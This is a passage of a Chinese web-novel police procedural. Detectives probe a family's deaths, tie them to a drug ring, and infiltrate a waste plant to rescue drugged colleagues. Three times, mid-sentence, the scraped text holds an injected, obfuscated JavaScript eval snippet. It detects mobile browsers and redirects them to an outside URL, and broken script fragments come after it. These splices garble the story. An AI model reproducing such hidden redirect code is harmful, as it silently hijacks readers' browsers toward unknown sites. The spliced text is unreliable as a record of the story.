黄国华闷声说：“黄永是十七天前失踪的，那天的前一天刚好是艾云下葬的日子。黄永因为他妈死得突然，心情很不好，疑神疑鬼的，觉得有人害了他妈。他参加完葬礼消失，我们都以为他是出去散心，或者直接回学校了，就没有太在意。 “过了四天，黄进到他哥房间找东西，发现了书桌上压着的遗书，赶紧拿给我们看。遗书上面写了他学习压力很大之类的话，我们立刻报了警，还发动村里的人帮忙找他。 “过了两天，有人在村外的河涌发现了他的尸体。警察来过，也做了检查，说是自杀。我们都准备领他回家下葬了。他的同学突然闹事，说他不可能自杀，然后你们警察又重新查这个案件。你们到底还要查多少遍啊？” 周立言和程昭一边听一边翻看之前的供词记录，两人对视了一眼。 周立言：“谢谢你的配合，我们想要去黄永房间看看，麻烦带一下路？” 黄国华有点不耐烦，但是还是亲自给他们带路，上了二楼。 到了死者房间，周立言提出让黄国华先行回避，他们自己搜查。 黄国华想要拒绝，但是没有什么好的理由，便由着他们翻看死者的房间。不过他没有回到楼下，反而回了自己房间。 74. 黄家的秘密 周立言看到黄国华的房门没有关，他也没有关上这边的房门。门开着，反而可以看到有没有人靠近偷听。 两人在房间里面四处查看。 死者的房间看起来并不常住。连应季的衣服都是临时拆开压缩袋拿出来穿的，整个袋子放在衣柜里面，没有拿出来。房间里面堆着好几个收纳箱，里面放着死者的旧课本等物品。 程昭：“好奇怪，怎么死者这么多东西都是压缩打包的状态？好像刚搬进来住一样。” 周立言：“这个房子好像刚刚盖好不久，据说黄国华一家是两个月前才搬进来的。死者除了放长假回家，其他时间都在学校宿舍，所以就没拆开吧。” 程昭：“虽然这么说也有可能，不过感觉他不太认同这个房间是自己的……” 如果是她，无论平时是不是要住宿舍，自己房间总要把常用物品放到顺手的地方，而且衣服也应该放到衣柜里面。 不过她不清楚死者的习惯，不能下什么结论。 死者的书桌倒是有放一些常用的杂物，不过数量不多。 死者从学校带回家的双肩包也放在桌面上，里面装着他的常用物品，连手机数据线充电器也放在书包里面，似乎准备随时背包走人。 程昭：“死者似乎早已准备离开，他东西都收拾好了。” 周立言：“可惜他没有来得及离开……虽然现在还没有太多证据，但是我也倾向于死者死于他杀。不过现在证据还比较少，我们继续找找。” 周立言翻死者的书包，查看他的随身物品，尝试打开他的笔记本电脑。 程昭趁有空闲，打开了系统，悄悄查看系统里面的信息。 【系统新增了一个新事件“城市边缘的秘密”。 事件概述里面显示，艾云和黄永两母子因为某个秘密被人灭口，黄国华、黄国忠都是凶手。 这个新事件，居然被归纳到KL组织的集合里面。】 程昭十分惊讶，这个案件居然和组织有关系？ 她忍不住看向门外，刚好看到黄国华鬼鬼祟祟地从他的房间探头张望。 黄国华偷窥被捉了个正着，尴尬一闪而过，若无其事地来到死者的房间，大大咧咧地问：“你们看完了没？你们警察已经来过很多次了，看完了就走吧，我有点事想要外出。” 周立言拿起死者的背包，“这个背包的东西我们先带走，查完之后会还给你们的。” 黄国华欲言又止，好像想要拒绝，但是最后还是干巴巴地同意了，“……行吧，你们拿去查。这个包你们之前也有人来看过，现在又看……黄永就是自杀，不知道你们为什么要查这么多次。” 程昭趁她们还没有离开死者家里，赶紧继续查看系统的关联列表。 【系统信息关联表记录了一些线索，目前关联性最高的几个分别是：“二楼一楼的楼梯”、“黄国华的待客室”、“黄国忠兄妹的生意”……】 楼梯？程昭回忆了一下，刚刚他们走过的那段楼梯，好像上来就是黄国华的待客室……刚刚经过的时候看到里面有一套茶桌，闻到房间传出来的烟味。 艾云似乎就是楼梯上摔死的。 “请问艾云是怎么死的？可以给我们说说经过吗？”程昭看着黄国华，没错过他那一闪而过的心虚表情。 黄国华一脸伤心地带路，指着楼梯的尽头：“她是上二楼楼梯的时候，不小心踩空，往后跌的时候砸破后脑勺死的。我们发现她的时候太晚了，直接没气了……底下那几级楼梯的瓷砖缝里面还染着血。” 程昭观察楼梯的环境。这段楼梯很长很宽，不算很陡，内侧靠着光溜溜的墙壁，外侧是玻璃扶手。 程昭想象了一下，如果艾云上楼梯的时候，在楼梯听到待客室谈话的内容，知道了什么秘密，不小心被人发现，她想逃跑的时候被人用力一推…… 【系统肯定了程昭的猜测，把她的想法标记在列表。】 程昭转头看向旁边的待客室，待客室之前开着的门，现在被关上了。 程昭：“这个房间是做什么用的？我们可以看看吗？” 黄国华有点不耐烦：“这个房间和黄永的死没关系啊，难道你们要把整个屋都看一遍？” 周立言态度强硬：“如果有必要，我们就会都看一遍。麻烦配合我们，要不然我就合理怀疑这里是不是有问题，申请搜查令强制搜查了。” 黄国华抿了抿唇，向待客室后退了一步。 待客室的门开了，黄国忠从里面走了出来，笑着说：“你们在门口做什么？是想要看这个房间吗？请进，请进……三弟你这臭脾气，非要和人作对。警察同志，请不要和他一般见识哈。” 周立言和程昭对黄国华的态度问题不置一词，直接进入了待客室。 房间里面放了一套很大的实木茶桌和实木座椅，里侧的墙壁放置着一个占据了一面墙的大柜子，透过玻璃柜门，可以看到里面摆放了一些茶叶和泡酒。 【“柜子和后面的墙壁”被标记了关联，关联性排序还很靠前。】 难道里面有密道或者密室？ 【系统肯定了程昭的猜测，标记了“墙后密室”。】 程昭不禁联想起金堂饭店和材料仓库的密道暗门，KL组织好像很喜欢建密道。 现在提出密室可能不太好，黄国忠兄弟在一旁紧盯着他们的一举一动。 程昭默默记下房间里面一些参照物的位置，特别记下了窗户和墙壁的距离。 “看吧，这个房间就这么多东西，平时黄永也不会过来这边……” 程昭指了一下待客室两侧：“请问旁边的房间分别是谁的？” “……这边是杂物房，另一边是我的房间。” “可以看看吗？” 黄国华不太情愿，但是在周立言的强势要求和黄国忠的劝说下，带两人看了两边的房间。 …… 离开了黄国华的家，程昭回头看了这个屋子几眼，拉着周立言说出了密室的事。 周立言很惊讶，按程昭的提示，仔细看了看这个房子，又回忆了刚刚看到的房间体积，那里确实是不对劲，“应该是二楼那里有一个几平米的密室，有可能是特意建来藏贵重物品的……” “也有可能是特意建来隐藏什么不可见人的秘密的。”程昭接上了周立言的话，然后把关于艾云的猜测也说了出来。 周立言摸了摸下巴，沉吟道：“事情已经发生太多天了，如果里面藏着东西，可能也转移了……我找人来帮忙盯着黄家这几个人。我们复查一下艾云和黄永死亡的卷宗，和查一下黄家背后有什么问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379291|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程昭点头。 两人上车，程昭回望了一下黄家的房子，看到黄国华在二楼窗边看着他们。 程昭收回视线。 周立言发动车子前往当地派出所。 …… 周立言二人和乔良、孙泽林，在派出所汇合。 乔良把他们两人带到了一个小会议室，会议室桌面摆放着艾云、黄永案件的卷宗和相关物证。 程昭看到有些警员好奇地打量着他们。 乔良关上门，隔绝了外界的视线和声音。 周立言开门见山：“乔良，你们这边有什么发现吗？” 乔良点头，一脸神秘的笑：“我们过来拿卷宗物证的时候，之前跟进的警员还丢三落四地拿少了东西，回答我们问题也是东扯西扯的绕圈子，态度很奇怪。 “据说艾云和黄永的案件，都是那两个警员主动接下案件的。我们找人帮忙，查了这两个人的财务情况，发现他们家人的账户有可疑的大笔转账，转账方是一个皮包公司……那个公司之前出现过，你们猜一下，是在什么案件出现？” 周立言和程昭对视一眼，周立言耸了耸肩。 程昭想了想，这个事件和KL组织有关系，难道这个皮包公司和之前的案件也有关系？ 程昭试探：“难道，是材料案？” “bingo！”孙泽林笑了，在电脑打开了相关资料，展示给他们看。 这个公司在材料案里面，也曾经给中间商转账过。因为当时怕打草惊蛇，没有动那些收集化工材料的中间商和转账公司，所以这个公司还在照常经营，照常转账。 程昭发挥想象力：“难道，黄家的秘密，和材料案有关？他们参与了运输，甚至参与了制药？” 【系统肯定了她这个想法，标记了关联。】 乔良打开了一个文件，上面显示黄家几个人的一些信息：“我们叫人帮忙，把死者那几个亲戚的背景都查了一下。 “父亲那一辈几兄弟，老大黄国忠有一家小型运输公司，老二黄秀丽今年承包了一个小型的垃圾回收处理厂，老三黄国华和老四黄国豪在他们手下做事。本来这几家都没有什么钱，黄国忠的公司也是他岳父的，这两三年几家人突然开始变得很有钱。” 【系统把“黄国忠的运输公司”、“黄秀丽的垃圾厂”标记了关联。】 程昭仔细查看了资料，觉得黄国忠运输公司的货车车牌有点眼熟，她翻查材料案的资料，发现之前在孙家豪的证词里面出现过，不过有一位数字被记错了。 程昭指出那个车牌号：“这个车牌号和之前孙家豪回忆的车牌就差了一位数字。他们突然发达，很可能这几个人都参与了运输……新建的垃圾厂说不定是制药的新地点，垃圾厂即使有异味传出，大家可能也会忽略。” 大家都觉得很有可能，纷纷点头。 周立言想起了这边地理位置特殊，补充道：“黄家村刚好在A市和C市的边缘。地头蛇运货，走乡间小路，刚好绕过了高速公路的检查。 “之前赌场案捉住的陈子穆，也说过制药的地点在C市。现在他们可能发展了一些规模，扩张了多个制药点，或者为了节省运输成本，直接转移了制药点。” 乔良感慨：“没想到二队的案件，最后居然到了我们手里。” 75. 进展和遇险 周立言联系了二队队长孙萍。 孙萍略显疲惫的声音从手机外放中传出：“周队，你找我什么事？” 周立言：“我这边手机外放着，我的队友在旁边。我们有个好消息告诉你。” 孙萍疑惑：“什么好消息？” 周立言也不卖关子，开门见山：“材料案，你们仓库不是被偷偷运走了材料吗？我们可能找到了运输的人和车……” 孙萍：“什么！？” 众人你一言我一语地和孙萍讲了艾云、黄永的案件，讲了黄家可能涉及运输和制药的环节。 周立言：“虽然现在证据不太充分，但是皮包公司和运输车牌勉强把两个案件连起来了。你们有没有什么线索？要不要过来看看？” 孙萍嘭的一声，好像拍了一下桌子：“来啊，现在我们正愁着呢！我们收集了周边马路的监控录像，看得头晕脑胀，记下了一堆车牌，一个个查起来太费劲了。我等下就发给你们，你们看看有没有那个运输公司的车子。如果有，我们就可以光明正大地搜查了。即使货车卸货了，估计也不会那么勤快洗车，说不定会有什么残留。” 孙萍好像和旁边的谁商量了一下，然后周立言手机提示收到新文件。 孙萍：“东西发你们了，麻烦你们帮忙对一下。” 周立言：“没问题，那先挂了，有结果告诉你。” 电话挂断。周立言把文件传到了电脑。 …… 孙泽林对孙萍发来的文件和他们整理的文件进行检索对比，找到了三个匹配的车牌号。 这下子，两边的案件的关联更强了。 他们有充足的理由搜查运输公司，甚至请求支援，先把相关人士先关起来。 周立言把结果发给孙萍，然后又和于山反馈了情况。 于山这次直接派人过来支援，先把黄家几个人、运输公司、垃圾厂的人都捉起来。 理由也是现成的，怀疑他们和黄永的死有关系。这样就不容易暴露警方监视材料仓库的事。 等查到黄家人参与运输、制药的证据，再悄悄审问他们。 联系完支援，很快就可以捉人，大家都觉得心情放松了一些。 …… “咦，侯远山、陈丰呢？他们好像没有发过信息。”程昭发现群聊里面，分开之后侯远山和陈丰都没有出现过。 周立言：“他们有联系你们吗？” 乔良和孙泽林面面相觑，然后都摇了摇头。 程昭有点担心：“他们两个去查和黄永起了争执的村民，到村子里面四处走访。现在距离大家分开的时间差不多有五个小时了，他们会不会遇到什么麻烦了？” 【系统就标记了“侯远山、陈丰遇到麻烦”。】 程昭留意到系统的新内容，情不自禁地站起身来。 周立言尝试给侯远山、陈丰发信息打电话，但是对面都没有回应。 孙泽林：“糟了，不会真的出事了吧？” 乔良皱眉：“陈丰身手不错，侯远山也带了武器，两个人都挺机灵的，如果遇到难题，应该会联系我们……” 周立言：“如果这个案件真的和KL组织的材料-运输-制药生意有关系，我们要把危险系数调到最高。赌场案件里面，安保人员反抗的时候使用了枪支。材料交易的时候，杀手也使用了枪。” 程昭：“而且他们除了制作成瘾的药品，还会制作毒药……说不定会有迷药。有心算无心，他们可能会吃亏。” 孙泽林慌了：“那现在怎么办？去找人吗？还是等后援？” 周立言沉吟片刻，然后询问了后援到这边需要的时间。 因为有派出所警员长期被收买的先例，于山不想动用黄家村附近的警力，他选择调用比较知根知底的市区警力。 市区的警员经过几次案件，都没有泄露消息，所以用起来比较安心，但是离黄家村比较远，集合和开车都需要时间。即使全程开着警笛声，让行车让路，至少也要半个钟才可以赶到。 大家听完都忍不住皱眉。侯远山、陈丰不知道出事了多久，他们分开行动已经五个多小时了。万一意外发生得早，再等半个钟，他们可能都凉了。 程昭联系了技术部的人，让技术员帮忙查侯远山、陈丰手机信号的位置。手机虽然没有人接听，但是也没有被关机。技术员很快查到了手机定位，说侯远山、陈丰的手机定位在垃圾处理厂附近，两小时十分钟之前还有到处移动，后来就一直没有动过。 两个人的手机都这么久没有移动过，百分百是出事了。 众人十分心焦，都不想慢慢等后援来到。 周立言：“危急时刻先冷静……我们四个一起去找侯远山他们的话，目标有点太大了。现在还不确定他们人在哪里，分头行事的话，我们人数又太少了。派出所的人，除了那两个警员，有哪个是确定可信的？” 乔良眉头紧皱，打开了一个派出所的警员资料文件，递给他们查看，“我们时间有限，先查了那两个调查案件的警员。其他人员，只查了前面六个，这六个人应该没有被收买，后面的名单还没有查。” 已调查的六个人里面还包括了派出所的负责人。 程昭特别留意了系统的内容，确定这几个人没有被标记关联。看来这几个人应该是没有被收买的。 程昭想了想：“这几个人应该是可靠的，不过也要提醒他们，不能让其他人知道我们的行动。” 周立言：“嗯，我们先自己出动，需要紧急支援的时候，再找这几个人帮忙……我们留一两个人在派出所待命，其他人去手机定位的地点和垃圾厂……” 周立言说着计划，视线扫过在场的队友，考虑将谁留下来支援。 周立言看向程昭：“程昭，不如你……” 程昭斩钉截铁地说：“让我也出动吧，我去现场比在这里更有用。” 周立言看到她眼中的坚持，叹了口气：“好吧，那你和我一起。” 孙泽林：“我也一起去吧，留乔叔在这里支援待命就足够了。我带上电脑，还可以充当技术员。” 乔良晚了一步开口，挠挠头：“你们一个个抢着往前冲，都没有留机会给我……你们注意安全，最好手机保持联系状态。” 众人点头。 事不宜迟，大家各种收拾了需要的东西。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406866|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 周立言带着程昭、孙泽林，前往侯远山等人手机定位的地方。 程昭在车上，悄悄联系系统小五，让它帮忙使用100积分抽系统道具。之前就剩下两个低级止血贴和中级解毒剂，她希望可以多拿一点药剂，以防万一。 【系统小五帮忙打开了抽奖轮盘，使用了100积分抽奖，抽中了“低级解毒剂”x2，“活点地图”x1】。 “活点地图”？ 程昭看了一下说明书，发现这个特殊道具和HP电影里面的魔法道具有点相似，可以显示自己方圆10米内的建筑地形和活物，不过只是显示同一平面，楼上楼下的不会显示。道具使用时限只有两小时。 这个道具，找人的时候倒是很方便。如果没有什么线索，她就可以暗中带路了。 …… 到了技术员发的位置，大家发现那是一片小树林。 小树林一边是村民居住的地方，一边是垃圾处理厂，垃圾厂再过一点就是一条小河。看样子，小树林是为了减少垃圾厂对居住环境影响，特意安排的绿化带。 侯远山和陈丰的手机，分别在两堆灌木丛里面找到了。 陈丰的手机被摔坏了。 侯远山的手机，还保持着录像状态，差点就要没电，自动关机了。 周立言停止了录像，给手机充电，打开相册，看他们之前拍到的照片和视频。 一开始他们好像是跟踪一个和死者黄永起过争执的村民。 这个人叫黄之荣，40岁，曾经做过几年初中化学老师，因为品德问题被学校辞退，之后到处打工生活。 这个人的背景资料并不在之前的案件卷宗里，乔良他们特意去查，他们才知道的。 录像里面，黄之荣在居民区一个房子，和一个女人偷偷私会。 因为距离和角度问题，一直没有看清这个女人的脸。等他们亲热完，镜头才拍到了女人的正脸，虽然有点模糊，但是应该是死者黄永的姑妈黄秀丽，垃圾回收处理厂的老板。 孙泽林：“这就连上了，死者和这个人起争执，可能是发现了黄之荣和黄秀丽之间的关系。” 程昭：“不止是私情，你还记得黄之荣以前是做什么的吗？初中化学老师。搞不好，这又是一个绝命毒师呢。” 孙泽林疑惑：“什么绝命毒师？” “呃，没什么，”程昭一时大意，不记得这个世界有没有这部电视剧了，“我是说，他可能是制毒师，参与了制药制毒。” 视频继续播放。侯远山和陈丰跟踪两人，一路到了小树林，他们的跟踪被发现了。 侯远山没暂停拍摄，手机好像放进衣兜里面。 听视频的声音，黄秀丽冲过来，怀疑他们在偷拍。侯远山拿着陈丰手机给她看，假装两人只是路过。 不知道黄秀丽和黄之荣看到了什么，怀疑了两人身份。黄秀丽似乎使用了什么喷雾，把陈丰、侯远山都迷昏了，摔坏了陈丰的手机，把手机丢到小树林里面。 侯远山迷迷糊糊的时候，把自己手机藏到灌木丛里面。 黄秀丽叫人，把侯远山和陈丰都带走了。听说话内容，似乎是带去了垃圾厂。 76. 潜入 视频里面，画面一直停留在树丛杂草枯枝，黄秀丽等人离开之后，除了偶尔几声鸟鸣，就是一片寂静，直到他们来到这里。 程昭望向垃圾处理厂，那边隐隐传来刺鼻难闻的气味，几道黑烟飘向空中。这时已经天黑了，垃圾厂的大楼在黑暗中发出隐晦不明的灯光。 周立言和孙泽林也看向垃圾厂，眼神透露着担忧。 孙泽林小声问：“周队，我们现在怎么办？直接进去垃圾厂吗？” 周立言看了看时间，又给于山发信息问后援的距离。 大概还要20多分钟，后援队伍才能赶到垃圾厂。 周立言沉吟：“他们已经被捉进去很久了，不知道他们有没有事。虽然后援很快就到，但是抓捕行动，难保对方会不会拿他们当人质……泽林，你有办法连接垃圾厂的监控画面吗？” 孙泽林咬咬牙：“我试试。” 孙泽林找了个石头当桌子，打开电脑开始操作。幸好小树林离垃圾厂够近，连得到那里的WiFi。孙泽林破解了网络，皱着眉继续操作，连接到了垃圾厂的监控画面。 程昭竖起大拇指：“太厉害了，这么快就连上了。” 孙泽林谦虚地笑了：“我们比较幸运。他们用的系统比较常见，我以前接触过。” 周立言：“干得漂亮。泽林，麻烦你把垃圾厂的平面图发到我们手机。” 孙泽林应是，迅速把平面图发送给两人。 看着平面图和监控画面，大概可以推测出，几个摄像头应该是分别设置在大门、垃圾场、一楼大堂、三层楼的电梯口。 监控的实时画面没有看到侯远山和陈丰，但是看到几个巡逻的保安。有个保安刚好离镜头比较近，可以看到他腰间衣服里面绑了什么东西，看起来鼓鼓的。 程昭看了几眼监控和平面图，然后又看看系统，心里胡乱推测侯远山、陈丰的位置，结果真被她蒙对了位置。 【“侯远山、陈丰被关在二楼走廊尽头的房间”】。 周立言再次确定后援部队的位置，后援大概十分钟就可以到达。 于山已经安排了后援队伍分头行事，垃圾厂、运输公司、黄家几户人的住址都安排了人手，进行同时抓捕。 孙泽林：“后援快到了，我们等他们到了再行动？” “对方捉到跟踪他们的人，没多久警方就来包围，对方很可能会想到拿侯远山、陈丰做人质……”周立言皱眉想了想，做了一个决定，“我偷偷潜入，等外援来了，刚好可以里应外合。你们两个在这里……” “我跟你一起去！”程昭立马自荐，“泽林给我们看着监控，和后援部队说明情况。” 周立言有点迟疑。 程昭拿出配枪，又拍了拍装备包：“多一个人，方便互相掩护。你一个人太危险了。” 周立言无奈，但是程昭说的也有道理，他勉为其难地答应了。 交待完孙泽林，又和于山说了他们的行动，周立言和程昭悄悄绕到了垃圾厂的一个角落，翻墙进入。 …… 虽然后援可能很快就到，他们不用在垃圾厂停留太久，不过程昭还是使用了系统的特殊道具“活点地图”。毕竟道具可以再抽，人出事了就没了。 “活点地图”显示在虚空中，以她为中心点显示了以东南西北为横竖轴的圆形地图。以绿色光点显示同伴，以红色光点显示敌方，在光点旁边显示了距离，不过没有显示光点人物的姓名。墙壁之类的障碍物显示为实线，门窗显示为虚线。 程昭一边跟着周立言，一边留意活点地图。 两人翻过围墙，借着场地里面的垃圾堆掩蔽身影，一路小跑，跑向垃圾厂的主建筑大楼。 周立言记着监控的范围，小心地带着程昭避开了监控。有个监控避不开，周立言通过耳麦让孙泽林帮忙黑掉画面几秒，然后二人快速通过。 围墙到大楼直线距离大概二三十米，但是两人差不多花了一分钟才到了楼下。 大楼的窗户没有安装防盗网。 透过一楼窗户，可以看到一楼大堂有保安巡逻。楼梯电梯前面有监控，还有保安坐着。潜入屋里走楼梯，被人看到的可能性很大。 程昭看到二楼有个窗户打开，旁边的外墙刚好有个污水管。她轻轻拍了一下周立言的肩膀，提示他看那个打开的窗。 周立言点点头，观察了一下屋里人的情况，迅速带着程昭到了污水管那一侧。 周立言小声说：“我先上去，没问题你再上来……” 程昭留意到活点地图，有个敌方的红点正在向他们这边靠近，连忙示意周立言轻不要出声，然后拉着他，快速跑到一堆杂物后面躲起来。 周立言一开始没发现有人走近，不过既然程昭提示，他也跟着照做了。 两人刚躲好，有一个保安巡逻走过。 等对方走远了，两人松了一口气。程昭看到没有人靠近，然后又拉着周立言回到了污水管旁边。 周立言率先爬上了污水管，迅速爬上二楼，凑近窗户观察了一下，然后攀着窗台进了里面。确定房间暂时安全，他到窗口挥手，让程昭上来。 程昭爬着污水管，庆幸自己有好好做体能训练。到了二楼，借着周立言的手和窗台，程昭也顺利进入了房间里面。 …… 活点地图显示了二楼的情况，房间外面没有人。 门上有个透窗，可以往外看，不过看到的范围比较有限。 他们小心翼翼地打开了门，透过门缝观察。 门外是一段走廊，没有人。这个房间对面是洗手间。 对比垃圾厂的平面图，程昭确定了他们所在的位置，他们在走廊的东侧。根据系统提示，侯远山他们在走廊的西侧。二楼的走廊呈T字型，中间连着楼梯间和货梯。 周立言小声：“我们先看二楼的房间，然后再看三楼，最后再看一楼？” 程昭点头。侯远山他们就在二楼，他们先看二楼房间，倒是不用额外提示了。 电梯、楼梯口那边有一个监控，印象中还有保安驻守。 周立言小声联系孙泽林，让他帮忙确定二楼货梯、楼梯的监控情况。 孙泽林查看画面，看到巡逻的人走出了监控区域，往周立言他们的方向走去。 周立言和程昭微惊，轻轻关上了房门，蹑手蹑脚地找地方藏好身形。 黑暗中，他们听到巡逻的保安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418371|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和沿路办公室里面的人打招呼，脚步声渐行渐近，中间还间杂着开门关门的声音。 周立言和程昭更不敢大意，尽量缩小身形，屏住呼吸。 终于，巡逻保安打开了他们这个房间的门，手电筒的光柱随意扫过房间内部。 保安没有发现什么不对劲，不过他看到房间的窗开着，便走进来关窗。 周立言看准时机，冲到保安身后，在保安喊叫之前，用电击棒电晕了他。 保安倒下，周立言连忙扶着他，轻轻放到地上，然后扒下了他的制服外套、帽子，拿走了他腰间的通讯器、钥匙、手、枪。 随身携带的装备包有简易扎带。程昭用扎带绑住了保安的手脚，在房间随便拿了张纸揉成一团，塞进保安嘴巴里。 保安外套有点大，周立言便自己穿上了，胡乱撩了一下刘海，微微遮住眉眼，然后带上帽子。 周立言小声询问孙泽林，楼梯、货梯前面还有没有人。 确定了没人，周立言悄悄打开房间门，往走廊看了一眼。 周立言对程昭招了招手，两人迅速离开房间，关上门。 有几个房间的门开着，周立言快速往里面看了一眼，掩护着程昭快速走过。 有几个房间门关着，周立言透过门上的透窗，大概查看了一下内部。 程昭知道侯远山他们在走廊尽头的房间，干脆扯了扯周立言的衣摆，指了指走廊尽头，小声说：“我先去另一边，这样比较快。” 周立言想拒绝，但是程昭直接跑远了。 他微微叹气，抑制想跟过去的冲动，准备看下一个房间。 因为有活点地图，程昭知道关押两人的房间没有其他人，她透过门上的透窗，看向房间里面。 侯远山和陈丰还在昏迷状态，手脚都被绳子绑住，脸上带着伤，身上的衣服有点凌乱。 程昭连忙向周立言招了招手，指了指这个房间。 周立言快速小跑过来。 两人进入房间，关上门。 …… 周立言拿刀子割断侯远山、陈丰身上的绳子，拍拍他们的脸，小声呼唤：“侯远山、陈丰，快醒醒。你们怎么样了？” 陈丰的情况好像比较严重，体温很高，怎么拍都不醒。 侯远山看起来好一点，他迷迷糊糊地醒来，半醒之间向眼前的人软软挥出一拳。 周立言无奈避开，又摇了摇侯远山，终于把他摇醒了。 程昭在装备包里面放了一个小水壶，她拿出水壶，给侯远山喂了一点水。 侯远山看到面前的队长队友，激动了一下，然后压低声音：“你们怎么知道我们在这里？” 周立言：“多亏了你们的视频。你们发生什么事了？陈丰还没有醒。” 侯远山看了一眼陈丰，彻底回过神来，着急地说：“我们被黄秀丽的人下了迷药，迷迷糊糊来到这里。陈丰中途清醒了一下，也把我叫醒了。我们想偷偷离开，但是被发现了。 “我们身上的武器都没了。药力没过，我使不上力气，陈丰打倒一个人之后被制服了。我看到那人对陈丰扎了一针，虽然不知道是什么，但是肯定不是好东西。后来我又被迷昏了。” 77. 解毒和行动 程昭摸了一下陈丰的额头，感觉他的体温好像变得更高了。 周立言通过耳麦联系孙泽林，告诉他这边的情况，让他帮忙安排救护车。 孙泽林：“好的。我也正想联系你，后援刚刚到了。我把你们也加进行动的频道里面。” 周立言和程昭的耳机传来后援队的声音，负责人正是二队队长孙萍。 两边讨论了一下进攻的对策，决定由周立言、程昭在里面制造混乱，然后孙萍带队趁乱突击，来一个里应外合。 两个队长讨论的时候，程昭感觉陈丰的状况不太好，除了很高体温，还开始时不时抽搐。 程昭趁着其他人注意力不在自己身上，拿出了一份“中级解毒剂”。这个系统道具就是一片白色的药片。她把药片偷偷塞进陈丰嘴里，药片刚放进去就融化消失了。 陈丰的抽搐消失了。 没多久，陈丰本来就很高的体温，突然变得很烫，右侧肩膀脖子处肿了起来。之前陈丰被人扎针的地方，鼓起了一个大包，针孔附近的皮肤紧绷，好像长了一个大水泡。 “噗呲”一声，针扎的口子喷出了一股腥臭的血水，溅得一地，还喷到了旁边侯远山的裤子上。 “我的天，陈丰怎么了？”侯远山低声惊呼，惊疑不定地看着那股腥臭难闻的血水。 程昭也差点被血水溅到，被那股味道熏得倒退了两步。她拿出纸巾捂住口鼻，小心上前，检查了一下陈丰的状况。 血水已经喷完了，肩膀好像也慢慢消肿了。陈丰的体温降了很多，只比普通人热一点点。 程昭：“他好像比刚刚好多了，不过还没有醒，体温还是有点高。” 周立言见程昭伸手去碰陈丰的肩膀，担心她沾到那些成分不明的液体，连忙提醒：“你别碰，那个液体闻起来不太对劲，可能有毒。” 周立言从装备包里面拿出两副□□手套，给了程昭一副，自己也戴上，然后小心地扯开陈丰的衣领。 之前的针孔变成了一个手指粗的洞，周围的皮肤有点皱，看起来有点可怕。不过看陈丰的表现，他状态应该是变好了。 周立言尝试唤醒陈丰，程昭、侯远山也跟着小声叫唤他的名字。 几秒钟过去，陈丰慢慢有点反应了，迷迷糊糊地哼了两声，缓缓地挣开了眼。 “太好了！” “醒了醒了！” 可能是发热时间有点久，陈丰的声音很沙哑：“……你、们来、啦。” 程昭又用小水壶喂了一点点水给陈丰，让他先不要说话，保存体力。 陈丰尝试坐起来，但是他浑身无力。大家都让他继续躺着，不要动。 侯远山：“看来流出来那些血水，应该是排毒，因祸得福了。大个子一下子就醒了。” 程昭乐得大家不要追问，“估计是陈丰身体起了什么排异反应，因祸得福了。” 周立言看了一眼程昭，他隐隐觉得是她做了什么，才救了陈丰。不过他也没有深究，现在也不是纠结这些的时候。 周立言继续和后援队孙萍讨论，程昭也过来专心旁听。 陈丰、侯远山两人现在连走路都困难，他们只有两个人可以参与行动，地形也不占优势。现在他们装备里面比较有用的，就是手枪、胡椒喷雾、电击棒、小型烟雾弹。 垃圾厂人多势众，熟知地形，手上还有枪械。 程昭提醒：“而且对方还有迷药，说不定还有什么秘密武器。” 侯远山：“对，我们就是被迷药喷雾迷晕的，你们一定要注意。” 两边人马讨论了一番，最后决定孙萍的人守住出入口，再派一些人靠近垃圾厂，周立言、程昭在大楼里面制造混乱，然后外面的人趁机攻入。 侯远山：“要怎么制造混乱？” 程昭看了看天花板的烟雾感应器和喷水装置，建议：“制造小火灾？” 孙泽林立马去查垃圾厂的防火系统，确定防火装置是可用的。 后援的技术员也来帮忙，把喷水装置设置为，只要发生火警，全部楼层房间的喷头同时喷水。 大家约定好，火灾警报一响，就开始进攻。 …… 事不宜迟，大家开始行动。 孙萍带来的警员，悄悄看守住围墙的出入口。 孙泽林和技术员联手，把监控视频暂停，一直显示无人的画面。 十个训练有素的特警作为先锋，翻过围墙，打晕了门口的看守，靠近垃圾厂的大楼。 周立言、程昭带着两个手软脚软的伤员，半拖半扶到了对面的房间。周立言把保安那里搜到的手枪留给侯远山，让他保护自己和陈丰。 然后周立言和程昭去了刚刚检查房间看到的实验室，拿到防护眼镜、防毒面具。 两人还偷偷拿了几瓶遇水放热或者产生难闻气味的化学物品，然后把它们打开盖子，放到三到二层楼梯间的喷水装置下面。 孙萍发来准备就绪的信号。 